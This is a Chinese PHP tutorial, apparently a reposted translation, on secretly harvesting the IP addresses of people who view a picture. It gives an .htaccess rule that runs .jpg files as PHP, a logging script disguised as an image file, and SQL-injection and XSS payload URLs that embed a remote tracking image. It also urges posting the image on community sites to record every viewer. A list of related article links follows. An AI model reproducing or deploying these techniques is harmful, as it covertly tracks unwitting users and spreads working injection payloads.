基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
一周学会PHP(视频)Http下载
Dec 12 PHP
PHP MySQL应用中使用XOR运算加密算法分享
Aug 28 PHP
phpmyadmin打开很慢的解决方法
Apr 21 PHP
PHP+MYSQL会员系统的开发实例教程
Aug 23 PHP
php简单分页类实现方法
Feb 26 PHP
php中switch语句用法详解
Aug 17 PHP
Thinkphp实现自动验证和自动完成
Dec 19 PHP
PHP自定义多进制的方法
Nov 03 PHP
PHP运行模式汇总
Nov 06 PHP
PHP根据树的前序遍历和中序遍历构造树并输出后序遍历的方法
Nov 10 PHP
PHP实现APP微信支付的实例讲解
Feb 10 PHP
php项目中类的自动加载实例讲解
Sep 12 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
在PHP中执行系统外部命令
2006/10/09 PHP
PHP集成FCK的函数代码
2008/09/27 PHP
PHP获取表单所有复选框的值的方法
2014/08/28 PHP
Yii使用find findAll查找出指定字段的实现方法
2014/09/05 PHP
C# WinForm中实现快捷键自定义设置实例
2015/01/23 PHP
zend框架实现支持sql server的操作方法
2016/12/08 PHP
PHP中phar包的使用教程
2017/06/14 PHP
PHP中类与对象功能、用法实例解读
2020/03/27 PHP
jquery 表格排序、实时搜索表格内容(附图)
2014/05/19 Javascript
贴近用户体验的Jquery日期、时间选择插件
2015/08/19 Javascript
纯JS打造网页中checkbox和radio的美化效果
2016/10/13 Javascript
ES6新特性之Symbol类型用法分析
2017/03/31 Javascript
详解angularJs模块ui-router之状态嵌套和视图嵌套
2017/04/28 Javascript
如何编写一个d.ts文件的步骤详解
2018/04/13 Javascript
Vue+Koa2+mongoose写一个像素绘板的实现方法
2019/09/10 Javascript
layui 实现加载动画以及非真实加载进度的方法
2019/09/23 Javascript
[09:43]DOTA2每周TOP10 精彩击杀集锦vol.5
2014/06/25 DOTA
python删除列表元素的三种方法(remove,pop,del)
2019/07/22 Python
python画微信表情符的实例代码
2019/10/09 Python
python编程进阶之异常处理用法实例分析
2020/02/21 Python
python实现ftp文件传输功能
2020/03/20 Python
基于Python脚本实现邮件报警功能
2020/05/20 Python
python 如何在测试中使用 Mock
2021/03/01 Python
全球虚拟主机商:HostGator
2017/02/06 全球购物
美国折扣香水网站:The Perfume Spot
2020/12/12 全球购物
Can a struct inherit from another class? (结构体能继承类吗)
2014/07/22 面试题
区三好学生主要事迹
2014/01/30 职场文书
个人汇报材料范文
2014/12/30 职场文书
酒店人事主管岗位职责
2015/04/11 职场文书
装饰技术负责人岗位职责
2015/04/13 职场文书
2015年全国助残日活动方案
2015/05/04 职场文书
2016年六一儿童节开幕词
2016/03/04 职场文书
详解GaussDB for MySQL性能优化
2021/05/18 MySQL
Python制作动态字符画的源码
2021/08/04 Python
Win11如何修改dns?Win11修改dns图文教程
2022/01/18 数码科技
python APScheduler执行定时任务介绍
2022/04/19 Python